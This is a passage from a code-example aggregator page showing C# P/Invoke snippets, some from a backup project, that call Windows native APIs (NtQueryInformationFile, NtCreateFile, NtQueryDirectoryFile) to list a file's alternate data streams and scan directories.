     IO_STATUS_BLOCK status = new IO_STATUS_BLOCK();
     IntPtr fileInfoPtr = IntPtr.Zero;
     try
     {
      FILE_STREAM_INFORMATION streamInfo = new FILE_STREAM_INFORMATION();
      int fileInfoPtrLength = (Marshal.SizeOf(streamInfo) + 32768) / 2;
      uint ntStatus = 0;
      do
      {
       fileInfoPtrLength *= 2;
       if (fileInfoPtr != IntPtr.Zero)
        Marshal.FreeHGlobal(fileInfoPtr);
       fileInfoPtr = Marshal.AllocHGlobal(fileInfoPtrLength);
       ntStatus = NtQueryInformationFile(FileHandle, ref status, fileInfoPtr,
        (uint)fileInfoPtrLength, FILE_INFORMATION_CLASS.FileStreamInformation);
      }
      while (ntStatus != 0 && ntStatus == 0x80000005 );
      List<FILE_STREAM_INFORMATION> result = new List<FILE_STREAM_INFORMATION>();
      unsafe
      {
       for (byte* i = (byte*)fileInfoPtr; streamInfo.NextEntryOffset != 0;
        i += streamInfo.NextEntryOffset)
       {
        byte* currStreamPtr = i;
        streamInfo.NextEntryOffset = *(uint*)currStreamPtr;
        currStreamPtr += sizeof(uint);
        streamInfo.StreamNameLength = *(uint*)currStreamPtr;
        currStreamPtr += sizeof(uint);
        streamInfo.StreamSize = *(long*)currStreamPtr;
        currStreamPtr += sizeof(long);
        streamInfo.StreamAllocationSize = *(long*)currStreamPtr;
        currStreamPtr += sizeof(long);
        streamInfo.StreamName = Marshal.PtrToStringUni((IntPtr)currStreamPtr,
     (int)streamInfo.StreamNameLength / 2);
        result.Add(streamInfo);
       }
      }
      return result.ToArray();
     }
     finally
     {
      Marshal.FreeHGlobal(fileInfoPtr);
     }
 }
Ejemplo n.º 38
0
Archivo: Win32.cs Proyecto: 0-F/Backup
 public static extern int NtCreateFile(
     out IntPtr handle,
     FileAccess access,
     ref OBJECT_ATTRIBUTES objectAttributes,
     ref IO_STATUS_BLOCK ioStatus,
     ref long allocSize,
     uint fileAttributes,
     FileShare share,
     uint createDisposition,
     uint createOptions,
     IntPtr eaBuffer,
     uint eaLength);
Ejemplo n.º 39
0
        public static List<FsItem> Scan(string dir, ref long processed)
        {

            var hFolder = NativeMethods.CreateFile(dir,
                                                   FileAccessRights.FILE_LIST_DIRECTORY,
                                                   FileShare.ReadWrite | FileShare.Delete,
                                                   IntPtr.Zero,
                                                   FileMode.Open,
                                                   CreateFileOptions.FILE_FLAG_BACKUP_SEMANTICS,
                                                   IntPtr.Zero);
            if (hFolder.IsInvalid)
            {
                return null;
            }

            var res = new List<FsItem>();

            bool moreFiles = true;
            var statusBlock = new IO_STATUS_BLOCK();
            while (moreFiles)
            {
                var ntstatus = NativeMethods.NtQueryDirectoryFile(
                    hFolder,
                    IntPtr.Zero,
                    IntPtr.Zero,
                    IntPtr.Zero,
                    statusBlock,
                    buffer,
                    1024*1024,
                    FileDirectoryInformation,
                    false,
                    IntPtr.Zero,
                    false);

                switch (ntstatus)
                {
                    case StatusNoMoreFiles:
                        moreFiles = false;
                        break;
                    case StatusSuccess:
                        CheckData(buffer, res, ref processed);
                        break;
                    default:
                        moreFiles = false;
                        Debug.WriteLine(new Win32Exception().Message);
                        break;
                }
            }
            hFolder.Close();

            return res;
        }
Ejemplo n.º 40
0
      public static extern uint NtQueryInformationFile(SafeFileHandle FileHandle,
 ref IO_STATUS_BLOCK IoStatusBlock, IntPtr FileInformation, uint Length,
 FILE_INFORMATION_CLASS FileInformationClass);